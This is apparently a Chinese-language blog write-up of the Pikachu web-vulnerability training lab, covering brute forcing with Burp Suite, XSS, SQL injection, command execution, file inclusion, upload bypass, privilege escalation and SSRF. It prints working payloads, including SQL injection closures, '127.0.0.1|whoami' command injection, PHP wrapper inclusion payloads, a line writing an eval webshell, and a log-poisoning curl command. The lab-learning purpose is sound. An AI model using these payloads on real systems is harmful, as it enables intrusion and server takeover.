最近突发奇想,想把之前做过的靶场进行归纳,给自己一个交代给他人一份借鉴,于是就把pikachu靶场作为第一篇总结拿来祭笔。之前学过很多次却没有动笔记录过,也算最后一次通关靶场,把知识稍加记录,向它好好告别。
一、暴力破解
场景概述:暴力破解工具使用burpsuite,使用暴力猜解对目标网站账号密码进行撞库,如果撞库成功就可以登录后台。
基于表单的暴力破解
随便输入账号密码,aaa:aaa,显示用户名或密码不存在,抓包到repeater模块,发送几次发现没有变化,可以判断就是简单的验证机制,发送到intruder模块,进行爆破
爆破比较重要的一点就是字典,按理说只要字典强大就可以撞库成功,从而登录后台。
如图所示添加变量,使用top500进行撞库
通过响应长度不一致判断出账号密码,尝试登录发现成功。
验证码绕过(on server)
点开页面此处发现多了一项验证码验证,也是发送到repeater多尝试发包几次,发现并没有什么变化,于是可以判断出此处验证码是可以重复利用,并不是一次一用。
下面继续尝试输错验证码看看后端是否对验证码进行验证
发现服务端对验证码是进行判断验证了。
综上所述,基本可以判断出整个判断逻辑,先对验证码进行验证,验证码输入正确再对账号密码的正确性进行验证
输入正确的验证码,直接爆破
发现登录成功。
验证码绕过(on client)
尝试不输入验证码,验证码故意输错,发现出现弹框提示,bp开启抓包发现并没有数据包,于是可以判断出验证码校验是在前端。
前端所做防护如同摆设,也没啥好说的
token防爆破?
token验证机制增大了爆破的难度,每次客户端请求服务端会返回token值,要想登录成功必须要加上这个token值,每次刷新就会产生新的token值。
这里添加两个变量,选用pitchfork模式,选用这个模式也是考虑token一次一变的特性
第一个变量就不说了,第二个变量选择options---Grep-Extract---Add,找到token值所在的位置
返回到option页面往下拉,找到Redirections,这里经测试Never,Always都是可以成功跑出的,但是正常情况下是要选择Always追踪页面的。
修改线程为1,如果不设置为1,是不能开始攻击的。
回到payload2,修改type,把上面复制下来的token值粘贴到相应位置
开始攻击,登录成功从而绕过token
做到这,我注意到两个细微问题:为什么不设置三个变量?为什么一定要用Pitchfork而舍弃我们常用的Cluster bomb?下图使用Cluster模式。
可跳过
经过下午测试,以及再次翻阅资料,我认为主要还是考虑到token一次一换的特性,Cluster模式交叉匹配时,那么即使账号密码正确,那么token值肯定已经变化过,从而达不到登录目的,那么选用Pitchfork模式是最合适的。
同时,选用Pitchfork又带来了一个问题,它的荷载是对应的,如果说第一个payload我设置五个账号,第二个参数设置为top100,第三个照旧设置token值,那么根据Pitchfork的特性只会匹配top5,如果放在真实环境里,这个工作量与可能性说实话撞库几率过小。(不明白同学看下面三张图,如若还不懂就动手做做)
总结
暴力破解在真实环境中很难直接达到撞库成功效果,一般要对网站进行相应字典的生成才有可能成功,除此之外,现在网站往往会添加登录次数限制等各种方式阻止恶意爆破,加上随着国家提倡杜绝“弱口令”口号的宣传,导致暴力破解的成功率并不高。
二、Cross-Site Scripting
跨站脚本攻击简称为XSS,漏洞成因是前端对过滤不够严格从而产生的,经常出现在弹窗、留言板、注册版等地。
反射型XSS(get)
修改前端限制,直接弹窗,没什么好说的。
反射型xss (post)
post型xss,这里模拟的是黑客搭建一个盗取cookie后台,精心构造payload发送给受害者,受害者点击就会被盗取cookie。
post型xss在实际情况下利用价值不高,这里pikachu作者已经搭建好后台了,实验很简单,没啥好说的。做这个实验不如去做封神台xss实验,对于xss危害还可以有更深理解,有兴趣童鞋可以看看。
存储型xss
存储型xss比反射型危害更大,反射型xss被插入一次只会被利用一次,而存储型xss是永久插入(不被人为干预情况下),主要是理解危害,没啥好说的。除此之外,如果有童鞋在存储型xss一直输入payload从而被一直弹窗或者被跳转,可以进到数据库中手动把payload删除,这样就不会继续弹窗从而影响心情。
下面这些xss就不写了,DOM型危害较小,可以理解为可以弹窗但是对于实际危害很小,盲打就是随便输入payload,前端看不到回显但是可能会插入到数据库,遇到过滤就需要构造绕过比如大小写、双字节等方法。
XSS学习比较重要的地方不是在这些<scipt> 、<img>标签的输入内容,而是要知道为什么要这么输入?为什么要构造闭合?如何去构造闭合?所以要对于js语言有所了解,学会js再去看XSS,事半功倍,等到这个时候再了解绕过方式,XSS方面就可以登堂入室,这也是个人学习目标。
推荐:xss靶场-耗子靶场
三、SQL-Inject
sql注入在网站中很常见,一般都会使用自动化工具sqlmap进行测试,但往往需要手工猜测注入点,两项结合。
数字型注入(post)
burp抓包,注入点在id,下面可以使用information schema进行注入
字符型注入(get)
字符型注入',发现报错存在注入点,并且出现%
构造闭合a%' order by 3#
xx型注入
输入'报错,出现)
多尝试几次,构造闭合a') order by 3#
"insert/update"注入、"delete"注入
要想成功猜测对方数据库的mysql语句简直太扯,实际从未见过也从未用过。
比较实际的点是updatexml注入类型,属于报错注入,可以翻看我之前写过的文章。
"http header"注入
顾名思义头注入,在User-Agent包头存在注入
时间盲注、布尔盲注
这两种盲注推荐写脚本或者sqlmap跑,手注工作量比较大,如果说对方数据库较大,字段较多,手注==直接原地去世。
宽字节注入
宽字节注入原来可以参考我之前文章,在去年8月份,仔细研究过一番。现在这种站点已经不常见,很少会有使用GBK编码的网站
推荐:sql注入靶场-sqlabs
四、RCE
RCE部分参考腾讯云链接,这个更加贴合实际情况
RCE(远程命令/代码执行漏洞)原理及复现 - 云+社区 - 腾讯云
系统命令执行函数()
eval() 、system()、passthru()、exec()、shell_exec
Windows系统命令拼接
|:管道符,前面命令标准输出,后面命令标准输入
&:先执行前面,再执行后面
||:运行前面,前面失败运行后面
&&:原型前面,如果成功运行后面
exec "ping"
访问百度,127.0.0.1|ping www.baidu.com
127.0.0.1|whoami
直接可以命令执行
exec "eval"
phpinfo();证明存在漏洞
总结
RCE在实际情况中不会是pikachu靶场展示这样简单,而是会像腾讯云文章所展示那样来利用漏洞。
五、File Inclusion
文件包含漏洞使用特定函数把别的文件包含进来。
include 包含过程出错,报错但继续执行
include_once() 不会二次包含
require() 包含过程出错,直接退出不继续执行
require_once() 不会二次包含
下面举个例子展示include和require的区别显得更加直接。
include报错但还是执行
require报错但不执行
File Include(local)
本地包含,成功包含1.php文件
File Include(remote)
远程文件包含,需要在php.ini开启两项
allow_url_fopen=On;allow_url_include=On(php5.2之后默认OFF)
请求百度,发现此处也存在ssrf。。。
找到对应php版本,打开php.ini开启这两项服务
这里是用个人服务器远程访问测试,如果没有条件可以使用虚拟机,下面测试配置服务 allow_url_include=Off,然后重启apache服务,再次访问发现失败
PHP常见伪协议
php://input php执行时会将post内容当作文件内容导致任意代码执行
POC:
?file=php://input
[POST] <?php phpinfo(); ?>
<?php system('dir');?>
<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
遇到file_get_contents()要想到用php://input绕过
php://filter,导致任意文件读取
?file=php://filter/resource=xxx.php
?file=php://filter/read=convert.base64-encode/resource=xxx.php
zip://
zip://中只能传入绝对路径
需要用#分割压缩包和压缩包内的内容,并且#需要用url编码%23,
只需要是zip的压缩包即可,后缀名可以任意更改,zlib://、bzip2://
data://
?file=data://,<?php phpinfo();
?file=data://text/plain,<?php phpinfo();
?file=data://text/plain;base64,xxxxx
?file=data:text/plain,<?php phpinfo();
?file=data:text/plain;base64,xxxx
phar://
phar://中相对路径和绝对路径都可以使用
?file=phar://zip.jpg/phpinfo.txt
?file=phar://D:\zip.jpg\phpinfo.txt
包含日志文件getshell
apche+linux日志默认路径
/etc/httpd/access_log
或
/var/log/httpd/access_log
apache+2003日志默认路径
D:\xampp\apache\logs\access.log
D:\xampp\apache\logs\error.log
curl -v "http://127.0.0.1/index.php?page=<?php @eval($_POST\[123\]);?>"?page=<?php @eval($_POST\[123\]);?>"
六、Unsafe Filedownload
没啥好说的
七、Unsafe Fileupload
文件上传,出现在网站的上传点部分,通过恶意上传从而getshell
client check
随意上传一个txt文件,前端提示上传文件不符合要求,burp没有抓到数据包说明就是前端限制,前端做限制等于无
F12删除校验部分,上传成功。
MIME type
上传txt发现提示只能上传jpg,jpeg,png格式,burp抓到包说明是后端校验
修改Content-Type为image/jpeg格式,显示上传成功
常见的MIME类型
普通文本 .txt text/plain
png图像 .png image/png
gif图像 .gif image/gif
jpeg图像 .jpeg iamge/jpeg
getimagesize()
上传txt文件,这里不仅修改了filename还是修改content-type,都提示是假图片
血压瞬间升高,为什么没有保存,他喵的...
经过几次测试,发现不仅对于文件后缀进行检测,对内容也进行检测了,修改内容为GIF89A,里面写入一句话,发现上传成功。图片马的使用需要结合文件包含漏洞一起使用,不然即使上传成功也无法使用菜刀连接,除此之外还需要判断出上传路径才可以
八、Over Permission
越权漏洞分为两种
同级到同级--水平越权;低级到高级--垂直越权
水平越权
根据提示,登录账号密码,这里采用kobe为例
查看个人信息,把kobe账号修改为lili,发现可以查看lili个人信息,漏洞存在
垂直越权
首先登录管理员账号密码,发现是有最高权限
这里添加一个名为www用户,并填写相关信息,开启burp抓取相关数据包。
退出管理员用户,切换到普通用户,同时把刚才抓取的管理员cookie替换掉普通用户的cookie,发包重放,发现再次添加一个用户
九、../../
目录遍历,这部分踩坑,报错Forbidden不可以直接列出目录,如果遇到同样问题请参考个人文章
Apache 2.4.3出现Forbidden:You don‘t have permission to access xx on this server_身高两米不到的博客-优快云博客
向上面一样配置完成后,就可以出现标准的目录遍历
十、敏感信息泄露
由于后台人员的疏忽或者不当的设计,导致不应该被前端用户看到的数据被轻易的访问到。 比如:
---通过访问url下的目录,可以直接列出目录下的文件列表;
---输入错误的url参数后报错信息里面包含操作系统、中间件、开发语言的版本或其他信息;
---前端的源码(html,css,js)里面包含了敏感信息,比如后台登录地址、内网接口信息、甚至账号密码等;类似以上这些情况,我们成为敏感信息泄露。敏感信息泄露虽然一直被评为危害比较低的漏洞,但这些敏感信息往往给攻击着实施进一步的攻击提供很大的帮助,甚至“离谱”的敏感信息泄露也会直接造成严重的损失。 因此,在web应用的开发上,除了要进行安全的代码编写,也需要注意对敏感信息的合理处理。
F12,找到泄露的测试账号,登录成功
这里仅作展示,信息泄露的危害
十一、PHP反序列化
序列化把对象转换为字符串,反序列化把序列化字符串还原为对象,但由于个人对于php理解较浅,不对于原理过程进行照搬或略知一二却大放阙词误导他人。只做漏洞展示。
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
十二、XXE
XXE-XML外部实体注入,要想明晓原理,就要涉及理解xml语法,略知一二不作做,推荐两篇文章
https://segmentfault.com/a/1190000039307738
XXE漏洞详解——基础篇 - FreeBuf网络安全行业门户
十三、URL重定向
这种漏洞很好理解,这个把连接跳转到百度为例
192.168.124.69/pikachu-master/vul/urlredirect/urlredirect.php?url=http://www.baidu.com
十四、SSRF
SSRF又名服务器端请求伪造,在实际使用中下面文章更加贴合实际
SSRF(curl)
还是对于百度进行请求测试
SSRF(file_get_content)
base64读取ssrf.php源码
看到file_get_contents()还要想到文件包含,文件包含还要想到用php://input绕过
总结
pikachu靶场伴我两年半,期间除去一年时间用来学习网络,总体来讲学习网络安全花费一年半左右,越是学习越是认识到网络安全不是一个一年两年能够有所建树的行业,期间走过不少弯路,耗费很多时间,直到现在也未登堂入室,仍然小白一个,挺有感触。
本篇文章其一是给pikachu画上句号,其二是给想要学习的童鞋留下文档。剩下的就是按照方向去扩展,学习xss要懂js,学习sql注入要懂数据库,学习反序列化要懂php,学习xxe要懂xml,只有说这样才能成长深入原理而不是成为一个只会敲payload的废物,不懂js不讲xss,不知数据库不论sql注入,保持对知识的敬畏。
人总是在慢慢成长,我要偷偷学技术,悄悄卷死所有人,与君共勉。
本篇文章断断续续写了一周左右,难免错误与不足之处。